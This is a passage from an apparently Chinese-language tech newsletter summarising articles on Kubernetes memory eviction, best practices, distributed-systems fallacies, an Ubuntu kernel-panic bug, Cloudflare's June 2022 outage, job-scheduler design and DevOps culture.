其中當系統因為 OOM 不足要開始找受害者下手時，被設定為 Guaranteed 的應用程式則會是最低優先度，只有真的找不到其他受害者時才會來處理 Guaranteed 類型的 Pod。

最後則是更細部的去探討 Kubernetes 關於 Memory 的使用與管理
對於 Kuberentes 來說， 當系統上 Memory 數量不足時，可能會觸發 Evict 的行為，開始將部分運行的 Pod 給踢出該節點，而如同前面所述， Kubernetes 是依賴
Cgroup 來處理的，因此 /sys/fs/cgroup/memory/memory.usage_in_bytes 自然而然就成為其決策的重要參數

其中要注意的是 /sys/fs/cgroup/memory/memory.usage_in_bytes 代表的並不是 "剛剛好系統上正在被使用的 Memory 數量"，其數值則是由
"resident set", "cache", "total_inactive_file" 等三個面向組合而成，因此 Kubernetes 實際上會先從
/sys/fs/cgroup/memory/memory.usage_in_bytes 與 /sys/fs/cgroup/memory/memory.stat 取得相關參數，其中後者可以得到如 total_inactive_file 的數量
最後透過下列算式
working_set = usage_in_bytes - total_inactive_file 來得到一個名為 working_set 變數，該變數實際上也可以由 kubectl top 獲取，這也是 kubernetes 用來判斷是否執行 evict 的主要指標。

一個節點還有多少可用的 Memory 則是透過
memory.available = nodes.status.capacity[memory] - working_set
所以每個節點的總共量扣掉 workign_set 就是當前可用量，一旦當前可用量低於門檻時，也就是 k8s 執行 evict 之時
官網文件中其實有滿仔細的去描述這些操作行為
有興趣的可以花點時間全部看完
https://kubernetes.io/docs/concepts/scheduling-eviction/node-pressure-eviction/

標題: 「為什麼有些工程師不相信 Best Practices 」
類別: others
連結: https://blog.devgenius.io/why-some-developers-dont-believe-in-best-practices-8c03ea4f7e88


工程師想必對於 DRY, KISS(Keep It Simple, Stupid), YAGNI(You Ain’t Gonna Need It) 這些廣為流傳的開發原則並不陌生，這些原則都是過去許許多多優秀工程師透過自己的經驗而濃縮的開發準則。

但是作者觀察到有滿多工程師對於這些 開發原則/命名標準/最佳實驗經驗 等採取一個不信任態度，甚至覺得導入這些東西都是浪費時間。
因此本文章是作者探討什麼樣的工程師可能會不太願意去學習與導入這些廣為流傳的開發原則與經驗


# Small projects and experience
作者開宗明義地說，小專案的成功經驗基本上是沒有辦法導入到大專案的開發的，小專案的特型譬如 1) 合作人員很少 2)專案時間少
這類型的特性只得技術債或是欠缺設計的程式架構不太會影響整個專案，畢竟專案太小，時間太短，後續的人不一定有機會真的觀察到這些潛在的問題。

而小專案還有一個很大的特性就是後續維護的人很有可能跟當初的開發者不同，所以對於開發者來說非常難去感受後續維護的痛苦與需求。

上述特性有可能會使得開發者覺得自己的開發經驗非常足夠且堪用，因此就會基於這樣的經驗來抵抗其他更多被推廣且推崇的開發原則與最佳實戰經驗。

因此對於一些只開發過小專案且沒有後續維護的工程師來說，其有可能就不會想要學習這些原則與經驗，畢竟自己的工作流程根本沒有機會感受到好處。

# Reward and incentive
簡單來說就是「劣幣逐良幣」的概念，從工程師開發的角度來看，寫一個「可能比較好維護，未來比較不會有問題，高品質的程式碼」如果實務上不會帶來任何好處，甚至可能「績效表現比較不好」的情況下，那為什麼工程師要努力寫出高品質的程式碼？

軟體團隊除了開發者之外，還會有相關的專案管理人員，產品管理人員以及最終使用者。
對於非技術人員來說，其在意的點更有可能專注於「程式開發速度，產品上線速度」，至於專案的後續維護性，開發靈活性等長時間才會看到的問題都不是他們所在意的點。

這種情況下，如何評價一個工程師的能力很有可能就變成「能夠多快的滿足專案需求，而不是寫出的程式碼品質」，所以對於工程師來說，快速寫出功能不考慮後續其他維護等長期問題反而更可能受到團隊重視，因為「功能出的快」。

所以如果團隊沒有辦法好好的去重視「高品質程式碼等考慮長期問題的開發原則」就有可能會導致工程師不會想要好好的去撰寫好的程式碼，長期下來這些工程師就可能會開始拒絕學習各種開發原則與最佳實踐的經驗，畢竟導入這些東西沒有任何實質上的幫助，反而初期可能會降低功能的上線速度。

# Ignorance
「知彼知己，百戰百勝」，沒有花時間去學習這些開發原則的前後脈絡與適用情景就沒有辦法很順利的導入到開發專案中，所以實際上這些導入都要工程師花時間去學習與理解，然後嘗試導入與使用。

然而並不是每個工程師都願意花時間去學習，畢竟平常工作就是寫寫程式碼，寫寫文件，結果來說能動就好。花這些時間去學習這些東西

作者認為很多工程師「其實都不知道自己不知道什麼」，這導致他們很難去學習新技術與新概念，畢竟未知領域帶來的好處與優勢不是他們工作經驗中有機會去體驗到的，就如同前面所述，對一個擅長開發短期專案就拋棄給別人維護的人來說，其很難體會到各種長期維護與技術債的問題。
practices.

# Best practices, and poor practices get the same results initially

另外一個非常常見的問題就是「導入開發原則與好的開發經驗」與否對於初期開發來說很有可能沒有很任何明顯的差異。
從短期目標來看，兩者開發角度產生的結果不會差異太大，但是對於只有幾個月的小專案來說，後者甚至能夠更快的完成需求然後拍拍屁股結束閃人。

架構複雜性，技術債以及其他的爛程式碼可能產生的後續問題都需要時間發酵，所以團隊事主如果沒有辦法以長期觀念來看到程式開發的話，上述的問題就沒有辦法被重視，就如同前面所述，開發者就會「速度為主，品質為輔」的概念來開發，至於後續維護痛苦與否就是後續接手人的事情。

剩下其他論點就可以到原文去觀賞
# Professionalism
# Short-term approach

標題: 「分散式系統上的常見網路謬誤」
類別: others
連結: https://architecturenotes.co/fallacies-of-distributed-systems/

本篇文章是探討分散式系統上很常被開發者所忽略的網路情況，這些情境都容易被忽略與考慮，但是每個點實際上都會影響整個系統的效能與功能

這些常常被忽略的網路情況包含
1. The network is reliable
2. Latency is zero
3. Bandwidth is infinite
4. The network is secure
5. Topology doesn't change
6. There is one administrator
7. Transport cost is zero
8. The network is homogeneous

# The network is reliable

開發分散式系統的時候，一定要去考慮網路壞掉的情況，切記網路中的任何傳輸都不是 100% 穩定的。千萬不要假設所有封包與傳輸都沒有問題，必要時還要考慮重新連線，重新傳輸的情況。

# Latency
網路時間還有一個要注意的就是延遲時間，通常 Client/Server 如果都是同一個系統內的服務時，這類型的時間可能非常短，如 ms 等級。
但是當 client 可能是來自真實使用者的手機裝置時，就要將 latency 這些因素給考慮進去，不能假設所有的 API 與網路請求都是秒回的情況。

更常見的還有導入 CDN 等方式透過地理性的位置來減少 client/server 之間要傳輸的距離。

文章內針對剩下的類別都有簡單的圖文並茂來解釋，淺顯易懂，有興趣的可以參閱全文

標題: 「啟動 container 直接 kernel panic 的 bug」
類別: others
連結: https://bugs.launchpad.net/ubuntu/+source/linux-aws-5.13/+bug/1977919

本篇文章探討的是一個關於 Ubuntu kernel(5.13+) bug 產生的各種悲劇，已知受害的雲端業者包含

linux-oracle
linux-azure
linux-gcp
linux-aws

等常見大廠。

簡單來說，預設設定下只要簡單跑一個 container 譬如
`docker run -it ubuntu bash` 就可以直接觸發 kernel panic，直接讓你系統死亡強迫重啟

整個 bug 結論來說就是，一連串的操作最後有機會導致使用到一個 null pointer，然後 kernel 就炸拉...

相關的修復可以參閱這個連結，裡面有大概提到問題發生點以及修復方式。
https://kernel.ubuntu.com/git/ubuntu/ubuntu-impish.git/commit/?id=6a6dd081d512c812a937503d5949e4479340accb

標題: 「Cloudflare 06/21 災後報告」
類別: networks
連結: https://blog.cloudflare.com/cloudflare-outage-on-june-21-2022/

Cloudflare 官方文章詳細解釋 06/21/2022 當天到底發生什麼事情導致用戶受到影響，

這次的問題影響範圍概括了 Cloudflare 底下的 19 個資料中心，而很不幸的這 19 個資料中心剛好都是負責處理繁忙的全球流量，所以受到影響的用戶數量才會如此的多。
問題主因是網路設定的調整(有問題先猜BGP，不行再猜DNS...)，整體的發生時間沒有非常長
1. 06:27 UTC 問題發生
2. 06:58 UTC 第一個資料中心修復並且上線
3. 07:42 UTC 所有資料中心修復並且上線


# 背景

過去 18 個月以來， Cloudflare 致力於將其底下繁忙的資料中心進行架構改造來達成更為堅韌與彈性的網路架構，內部稱該架構為 Multi-Colo POP(MCP)，影響的 19 個資料中心包含 Tokyo, Singapore ... 等

新架構最重要的部分就是其網路的部分是基於 Clos network 的架構設計，透過多層次的設計達成類似 mesh network 般的網路連結，該架構使得未來要維護與調整時能夠更輕鬆針對部分網路設備去處理而不會影響到整體網路(文章有架構圖片)。

# 問題
這次的問題主要跟 BGP 有關，Cloudflare 更新 BGP 的過程中有部分的 subnet 沒有順利的被傳遞出去，最終使得部分 subnet 的流量無法被順利轉發，進而導致整個網路問題。

文章內部有針對 BGP 問題更詳細的介紹，熟悉 BGP 的朋友可以花點時間看一下

# 反思

這次的問題影響範圍很廣，Cloudflare 針對下列三面向反思了一下問題的發生原因

## Process
雖然嶄新的 MCP 架構其目的就是要提供更好更強的可用性，但是將舊架構給升級到新架構的過程中還是不夠完善。整體的更新流程直到最後一步驟才算是真正的接觸到全新 MCP 架構，這使得如果中間更新流程有錯必須要到最後才會觀察到 MCP 資料中心的網路炸了。
改善的方式則是未來的這些流程與自動化必須要加入更多關於 MCP 架構的測試來確保整體部署不會遇到預期外的結果。


## Architecture
路由器的錯誤設定使得正確的路由規則沒有辦法順利的被傳達下去，最終使得網路封包無法如預期般地到達這些資料中心。
所以修復過程中就是要找出這些錯誤的設定並且修正，最終使得這些 BGP 能夠將正確的路由政策給轉發下去。

## Automaiton
當前的自動化流程中有非常多的部分可以改進，這些改進有機會完全或是部分的去減緩問題發生時的影響程度。
有兩個目標是想要透過改善自動化機制達成的
1. 減少問題發生時的影響範圍
2. 減少問題發生時的修復時間

# 結論
CDN 不通先上社群看同業有沒有哀嚎，大概就可以知道是不是自己的問題了?

標題: 「面試人生 - 設計一個簡易的分散式 Job Scheduler」
類別: others
連結: https://medium.com/@raxshah/system-design-design-a-distributed-job-scheduler-kiss-interview-series-753107c0104c

本篇文章是一個面試技術文，探討開發一個類似 Job Scheduler 的專案時應該要如何去設計整體系統來完成需求，整體的架構基於 KISS 的原則，就是簡單為主。

整個流程原則基本上是
1. 理解所有功能需求，包含功能面以及非功能面
2. 瞭解可能的資料，根據規模大小與功能需求去推估出整體的規模大小
3. 根據上述需求去規劃整體架構，其中規模大小有時候可以幫忙歸納出 ”讀寫“彼此的比例，這個會影響架構設計


功能面常見類型如
1. 針對使用者提供何種操作，譬如遞交一個 Job, 列出所有 Job(當前，歷史)
2. 每個 Job 的運行時間限制(ex, 5min)，同時 Job 可以重複運行或是只運行一次等不同用法
3. Job 本身也有優先度的設計，可以插隊等

非直接功能面如
1. 可動態擴充規模來支援不同量級的需求
2. 不論發生任何錯誤問題，使用者提交過的 Job 資訊都不能遺失
3. 非同步設計，使用者遞交 Job 後就可以繼續別的工作， Job 完成後會主動通知使用者

有了功能面的需求，接下來就是數量大小的需求，譬如該架構要可以達到每秒 1000 個 Job(1000QPS),
從這些需求下去估算大概需要多少 CPU 以及多少 Memory，同時這些數量還可以滿足功能面的需求，譬如每個 Job 可以運行最多五分鐘。

所以也許會得到需要 10,000 台的 (16C) 機器，以及 100 台(16GB) 的機器來提供服務
基本的運算可以快速的理解該需求到底需不需要分散式的架構來處理，本文的範例資料量就很明顯是 scale up 沒有辦法完成的。

接下來就基於分散式的架構去設計相關架構，包含如
1. Load Balancer
2. Backend
3. DB
4. Job scheduler
5. Job Executor
6. Queue
7. File system

逐步的規劃這些架構，並且探討彼此元件之間的溝通方式，這些方式是如何互相組合來滿足功能面/非功能面的需求

詳細需求可以參考全文

標題: 「DevOps is a failure」
類別: others
連結: https://leebriggs.co.uk/blog/2022/06/21/devops-is-a-failure

本篇文章作者從不同的角度來聊聊 DevOps 這個詞所代表的含義與實作意義


第一段作者先閒聊一下自己與 DevOps 詞的歷史，接者直接拋出一個作者長期好奇的觀點
「每個人都一定聽過 DevOps 是一個需要 Dev + Ops 共同參與的文化，但是作者自己參與的 DevOps 相關會議與討論，與會者大部分都是 Ops 人員，而不是那些真正參與開發的 Dev 人」

# 困惑時期

接者作者聊聊自身多年前的經驗，當時的開發團隊宣稱該團隊是「true devops」，同時不跟作者的維運團隊討論各種維運需求，這過程讓作者非常困惑，為什麼對方會說自己是 true devops 而又不找自己探討維運需求

作者後來與該開發團隊深聊後終於理解對方的意思，原來該開發團隊身兼開發與維運，該團隊使用 boto3 加上一些腳本來管理應用程式的生命週期，同時該團隊招募的 「full stack engineer」除了基本的後端技術外，也要對 AWS 有不少的熟悉與經驗。

對方的舉動更加困惑了作者，畢竟公司當時採取類似 Netflix 的方式來打造一個平台來讓所有開發者可以更輕鬆的去管理這些東西，而該開發團隊的舉動完全是反其道而行，到底為什麼要這麼做？？

# Pulumi 時期
當作者加入 Pulumi 時期時，作者開始使用一些知名工具如 GitLab, Terraform, Kubernetes 等工具來打造一個適合開發者的好用平台，然而每次想要將該平台給推廣給開發者時總是屢屢碰壁，總是會聽到如「你們的東西我不熟悉，我們還是習慣自己打造的工具」等類似說詞給打發掉。

作者接下來不斷嘗試說服開發團隊來使用自己打造的超級平台，鼓勵他們參加 DevOps 相關活動等各種方式，最終得到的還是類似「我們會按照我們自己的方式去嘗試～謝囉」之類的回覆

# 回顧
回顧過往，作者發現錯的是自己，一直以來相信的 DevOps 願景「讓 Ops 停止說 No, 讓 Dev 停止說"yo~ 今天部署吧"」 其實並不真實，作者認為 2022 的今天， DevOps 真正的含義是
「維運端的人努力說服開發人員按照維運人員的想法去做事情」

綜觀所有號稱跟 DevOps 有關的工具，你會發現幾乎都跟維運有關，每個跟 DevOps 有關的職缺列舉的技能也是滿滿的跟維運有關，對作者來說， DevOps 工程師跟過往的 System Admin 根本沒有太大分別，差異只有把「實體機房建置，上架機器」 v.s 「雲端機器建置，創立VM」而已。

文章內後半部分還有一些作者的想法，有興趣的可以閱讀完畢

本篇文章的想法滿有趣的，譬如作者提到想要幫開發團隊建立一個維運平台卻屢屢碰壁。

Ops 可能會覺得 Dev 一直不停重複打造工具沒有效率，不如使用自己打造的好平台
Dev 可能會覺得 Ops 不懂自己的需求，不如自己根據需求打造

同樣的敘述放到不同的規模，譬如

dev -> 5 人的專職開發團隊
dev -> 50 人的專職產品團隊

後者的角度也許會覺得團隊人數夠多，可以自己處理自己的需求，不需要仰賴公司提供一個萬能平台來處理一切，同時跨 team 合作可能還會使得很多事情效率低落，溝通成本過大。

歡迎留言探討你的想法